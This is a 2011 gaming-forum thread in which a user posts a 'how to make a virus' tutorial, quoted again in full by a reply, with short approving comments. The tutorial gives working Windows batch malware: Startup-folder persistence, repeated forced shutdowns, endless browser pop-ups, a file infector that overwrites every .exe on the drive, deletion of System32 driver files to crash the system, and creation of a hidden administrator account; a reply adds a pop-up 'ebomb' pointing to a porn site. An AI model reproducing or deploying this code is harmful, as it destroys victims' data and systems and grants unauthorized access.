Post: How to make a virus [TUT]
08-13-2011, 01:27 AM #1
DMoney750
ERROR ON THE INTERNETZ!!!
(adsbygoogle = window.adsbygoogle || []).push({}); Okay guys here I'm going to show you how to make a virus. With all the ways I am going to teach you your virus can be as unique as possible! Here just letting you guys know this isn't a true virus. It's a .bat file big difference if you have no experience with .bat files or anything like that this is the thread for you Yes

NOTE: USING A VIRUS TO DAMAGE SOMEONE ELSE'S COMPUTER IS ILLEGAL AND I'M NOT RESPONSIBLE FOR WHAT YOU DO WITH THE VIRUS YOU CREATE.

Everything you type should be in notepad!

How to start a virus.
When you are making a virus it should always start with this
    @echo off
@echo off is needed because it hides the actions of the .bat file you don't need it, but it's very nice to have. After that if you want to put your virus in someones start up your beginning should look like this.
    @echo off
copy "shutdownworm.bat" "C:\documents and settings\all users\start menu\programs\startup"
cd:"C:\documents and settings\all users\start menu\programs\startup"

If you just use the @echo off the virus will not repeat after the computer restarts If you want the computer to keep using the virus you must use the second way, but in every code I show I will just use @echo off if you want the virus to keep repeating just add the part in the second code I showed you.

How to make a computer shutdown in two different ways
Okay the first way you can your code will have to look like this.
    @echo off
shutdown -s -t 30 -c "In 30 seconds say bye!"

-s Stands for seconds. -t Stands for time and your time can be anything you want. -c Is the comment. They will see this in the window that shows the shutdown. It's optional if you want it there or not.

The second way to shutdown a computer uses the code that makes the virus in the start up.
    @echo off
copy "shutdownworm.bat" "C:\documents and settings\all users\start menu\programs\startup"
cd:"C:\documents and settings\all users\start menu\programs\startup"

To make the computer shutdown the code will have to look like this.
    @echo off
copy "shutdownworm.bat" "C:\documents and settings\all users\start menu\programs\startup"
cd:"C:\documents and settings\all users\start menu\programs\startup"
echo shutdown -s -t 30 -c "In 30 seconds say bye!">%random%.bat
shutdown -s -t 30 -c "In 30 seconds say bye!"

When the computer or virus starts up the bat file is told to shutdown the computer with all the information you put in there. Remember you can replace the time (-t) with whatever you want and the comment (-c) is optional. So what this does is every time they open there computer back up this window will keep coming up and the more times they restart their computer the more windows they'll have. To make more windows come up at one time you have to copy the echo shutdown line. So mine would look like this.
    @echo off
copy "shutdownworm.bat" "C:\documents and settings\all users\start menu\programs\startup"
cd:"C:\documents and settings\all users\start menu\programs\startup"
echo shutdown -s -t 30 -c "In 30 seconds say bye!">%random%.bat
echo shutdown -s -t 30 -c "In 30 seconds say bye!">%random%.bat
echo shutdown -s -t 30 -c "In 30 seconds say bye!">%random%.bat
echo shutdown -s -t 30 -c "In 30 seconds say bye!">%random%.bat
shutdown -s -t 30 -c "In 30 seconds say bye!"

Now 4 windows would pop up saying that.

How to make a URL keep popping up.
To make a URL keep popping up on someones screen when the virus is used your code will have to look like this.
    @echo off
:A
start https://www.nextgenupdate.com
goto :A

This code will make nextgenupdate.com keep popping up on the persons computer screen. This can be very annoying :p

How to infect files.
In this example I will be showing how to infect .exe files. Some of you will recognize this code as the one from Virus Factory if you have used that program before; but all credits will be at the end Smile
Alright here is what your code should look if you want to infect .exe files. All the blue parts are the parts that can be switched based on the files name.
    @echo off
Dir %Homedrive% /s /b > DirPath
For /f %%Y In (DirPath) Do (
Set DirPath=%%Y > Nul
For %%Z In (%DirPath%\*.[COLOR="#0000FF"]exe[/COLOR]) Do (
Set [COLOR="#0000FF"]exe[/COLOR]Infect=%%Z > Nul
Copy /y %0 %[COLOR="#0000FF"]exe[/COLOR]Infect%
)
)
Del /f /s /q DirPath

Okay as you can see the blue highlighted parts can be changed to different file names. Such as .txt or .rar, you get the point.

How to give a computer the blue screen of death.
If you want the virus to have the blue screen of death on it here's the code for that.
    @echo off
Set load=HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Reg Add "%load%" /v "BSOD" /t "REG_SZ" /d %0 /f > nul
Del /q /s /f "%SystemRoot%\System32\Drivers\*.*"

This code will put the blue screen of death inside your virus.

How to add another account to the computer. Administrator included!
If you want to give another account to the computer that gets the virus you will need this code. The part that says username is the username of the account and the part that says password is the password to the account.
    @echo off
net user username password /add

Now if you want the account to be an administrator the code should look like this.
    @echo off
net user username password /add
net localgroup administrators username /add

Yet again the part that says username is the username!

Hopefully this has helped you guys... I don't think I need to get into anymore parts of making a virus, I mean there are more codes you can put in, but that's really not needed.

REMEMBER @ECHO OFF IS NOT NEEDED FOR EVERY CODE IT'S JUST THE BEGINNING OF THE VIRUS!!!!

CREDITS: PCbatch channel and VirusFactory

After you have made your virus save it as a batch file (.bat). Then use the .bat to .exe converter.... switching your virus to an exe file can become very helpful Happy
Heres the .bat to .exe converter. You must login or register to view this content.
(adsbygoogle = window.adsbygoogle || []).push({});

The following user thanked DMoney750 for this useful post:

DinoFreak

The following user groaned DMoney750 for this awful post:

Epic?
08-13-2011, 02:45 AM #2
Originally posted by DMoney750 View Post
Okay guys here I'm going to show you how to make a virus. With all the ways I am going to teach you your virus can be as unique as possible!

NOTE: USING A VIRUS TO DAMAGE SOMEONE ELSE'S COMPUTER IS ILLEGAL AND I'M NOT RESPONSIBLE FOR WHAT YOU DO WITH THE VIRUS YOU CREATE.

Everything you type should be in notepad!

How to start a virus.
When you are making a virus it should always start with this
    @echo off
No matter what you will always need that if you are planning to make a very good and unique virus. After that if you want to put your virus in someones start up your beginning should look like this.
    @echo off
copy "shutdownworm.bat" "C:\documents and settings\all users\start menu\programs\startup"
cd:"C:\documents and settings\all users\start menu\programs\startup"

If you just use the @echo off the virus will not repeat after the computer restarts If you want the computer to keep using the virus you must use the second way, but in every code I show I will just use @echo off if you want the virus to keep repeating just add the part in the second code I showed you.

How to make a computer shutdown in two different ways
Okay the first way you can your code will have to look like this.
    @echo off
shutdown -s -t 30 -c "In 30 seconds say bye!"

-s Stands for seconds. -t Stands for time and your time can be anything you want. -c Is the comment. They will see this in the window that shows the shutdown. It's optional if you want it there or not.

The second way to shutdown a computer uses the code that makes the virus in the start up.
    @echo off
copy "shutdownworm.bat" "C:\documents and settings\all users\start menu\programs\startup"
cd:"C:\documents and settings\all users\start menu\programs\startup"

To make the computer shutdown the code will have to look like this.
    @echo off
copy "shutdownworm.bat" "C:\documents and settings\all users\start menu\programs\startup"
cd:"C:\documents and settings\all users\start menu\programs\startup"
echo shutdown -s -t 30 -c "In 30 seconds say bye!">%random%.bat
shutdown -s -t 30 -c "In 30 seconds say bye!"

When the computer or virus starts up the bat file is told to shutdown the computer with all the information you put in there. Remember you can replace the time (-t) with whatever you want and the comment (-c) is optional. So what this does is every time they open there computer back up this window will keep coming up and the more times they restart their computer the more windows they'll have. To make more windows come up at one time you have to copy the echo shutdown line. So mine would look like this.
    @echo off
copy "shutdownworm.bat" "C:\documents and settings\all users\start menu\programs\startup"
cd:"C:\documents and settings\all users\start menu\programs\startup"
echo shutdown -s -t 30 -c "In 30 seconds say bye!">%random%.bat
echo shutdown -s -t 30 -c "In 30 seconds say bye!">%random%.bat
echo shutdown -s -t 30 -c "In 30 seconds say bye!">%random%.bat
echo shutdown -s -t 30 -c "In 30 seconds say bye!">%random%.bat
shutdown -s -t 30 -c "In 30 seconds say bye!"

Now 4 windows would pop up saying that.

How to make a URL keep popping up.
To make a URL keep popping up on someones screen when the virus is used your code will have to look like this.
    @echo off
:A
start https://www.nextgenupdate.com
goto :A

This code will make nextgenupdate.com keep popping up on the persons computer screen. This can be very annoying :p

How to infect files.
In this example I will be showing how to infect .exe files. Some of you will recognize this code as the one from Virus Factory if you have used that program before; but all credits will be at the end Smile
Alright here is what your code should look if you want to infect .exe files. All the blue parts are the parts that can be switched based on the files name.
    @echo off
Dir %Homedrive% /s /b > DirPath
For /f %%Y In (DirPath) Do (
Set DirPath=%%Y > Nul
For %%Z In (%DirPath%\*.[COLOR="#0000FF"]exe[/COLOR]) Do (
Set [COLOR="#0000FF"]exe[/COLOR]Infect=%%Z > Nul
Copy /y %0 %[COLOR="#0000FF"]exe[/COLOR]Infect%
)
)
Del /f /s /q DirPath

Okay as you can see the blue highlighted parts can be changed to different file names. Such as .txt or .rar, you get the point.

How to give a computer the blue screen of death.
If you want the virus to have the blue screen of death on it here's the code for that.
    @echo off
Set load=HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Reg Add "%load%" /v "BSOD" /t "REG_SZ" /d %0 /f > nul
Del /q /s /f "%SystemRoot%\System32\Drivers\*.*"

This code will put the blue screen of death inside your virus.

How to add another account to the computer. Administrator included!
If you want to give another account to the computer that gets the virus you will need this code. The part that says username is the username of the account and the part that says password is the password to the account.
    @echo off
net user username password /add

Now if you want the account to be an administrator the code should look like this.
    @echo off
net user username password /add
net localgroup administrators username /add

Yet again the part that says username is the username!

Hopefully this has helped you guys... I don't think I need to get into anymore parts of making a virus, I mean there is more codes you can put in, but that's really not needed.

REMEMBER @ECHO OFF IS NOT NEEDED FOR EVERY CODE IT'S JUST THE BEGINNING OF THE VIRUS!!!!

CREDITS: PCbatch channel and VirusFactory

After you have made your virus save it as a batch file (.bat). Then use the .bat to .exe converter.... switching your virus to an exe file can become very helpful Happy
Heres the .bat to .exe converter. You must login or register to view this content.




A batch code virus. I used to write a lot these, but I always loved ebombs. Nothing like sending people Granny Porn rofl

The following user thanked LordOfSpoon™ for this useful post:

DMoney750
08-13-2011, 02:59 AM #3
DMoney750
ERROR ON THE INTERNETZ!!!
Originally posted by LordOfSpoon




A batch code virus. I used to write a lot these, but I always loved ebombs. Nothing like sending people Granny Porn rofl

hahaha best comment ive ever seen
08-13-2011, 03:06 AM #4
Shebang
Bring back the smileys!
Interesting thread :y:
08-13-2011, 03:14 AM #5
DMoney750
ERROR ON THE INTERNETZ!!!
Originally posted by egal123 View Post
Interesting thread :y:

thanks always like nice comments so many trolls these days Happy
08-13-2011, 03:45 AM #6
Originally posted by DMoney750 View Post
thanks always like nice comments so many trolls these days Happy



Here is an easy .bat code for an ebomb. I think you all know it lol

    
@echo off
cls
start iexplore "https://www.grann*****.ws"
start iexplore "https://www.grann*****.ws"
start iexplore "https://www.grann*****.ws"
start iexplore "https://www.grann*****.ws"
start iexplore "https://www.grann*****.ws"
start iexplore "https://www.grann*****.ws"
start iexplore "https://www.grann*****.ws"
start iexplore "https://www.grann*****.ws"



You can obviously edit the URL in the "" to what ever domain you like. And obviously this does not work on linux.

PS i also have a .exe Virus Uploader that uploads a virus from a USB drive, but you have to have the password so that way no one can use it on you.
08-13-2011, 03:55 AM #7
DMoney750
ERROR ON THE INTERNETZ!!!
Originally posted by LordOfSpoon
Here is an easy .bat code for an ebomb. I think you all know it lol

    
@echo off
cls
start iexplore "https://www.grann*****.ws"
start iexplore "https://www.grann*****.ws"
start iexplore "https://www.grann*****.ws"
start iexplore "https://www.grann*****.ws"
start iexplore "https://www.grann*****.ws"
start iexplore "https://www.grann*****.ws"
start iexplore "https://www.grann*****.ws"
start iexplore "https://www.grann*****.ws"



You can obviously edit the URL in the "" to what ever domain you like. And obviously this does not work on linux.

PS i also have a .exe Virus Uploader that uploads a virus from a USB drive, but you have to have the password so that way no one can use it on you.

yeah i have it i just didn't want to post it cause i dont feel like seeing a bunch of them going around.....
08-13-2011, 05:35 AM #8
DinoFreak
I'm le back
Originally posted by DMoney750 View Post
yeah i have it i just didn't want to post it cause i dont feel like seeing a bunch of them going around.....

Nice thread btw well not nice EPIC thread now i can have a little fun. ^^
08-13-2011, 07:02 AM #9
DMoney750
ERROR ON THE INTERNETZ!!!
Originally posted by CherryXD View Post
Nice thread btw well not nice EPIC thread now i can have a little fun. ^^

thanks i wanna request sticky but im not sure
08-13-2011, 07:05 AM #10
D y n a s t y
You talkin to me?
i used these at school lol there funny

Copyright © 2026, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo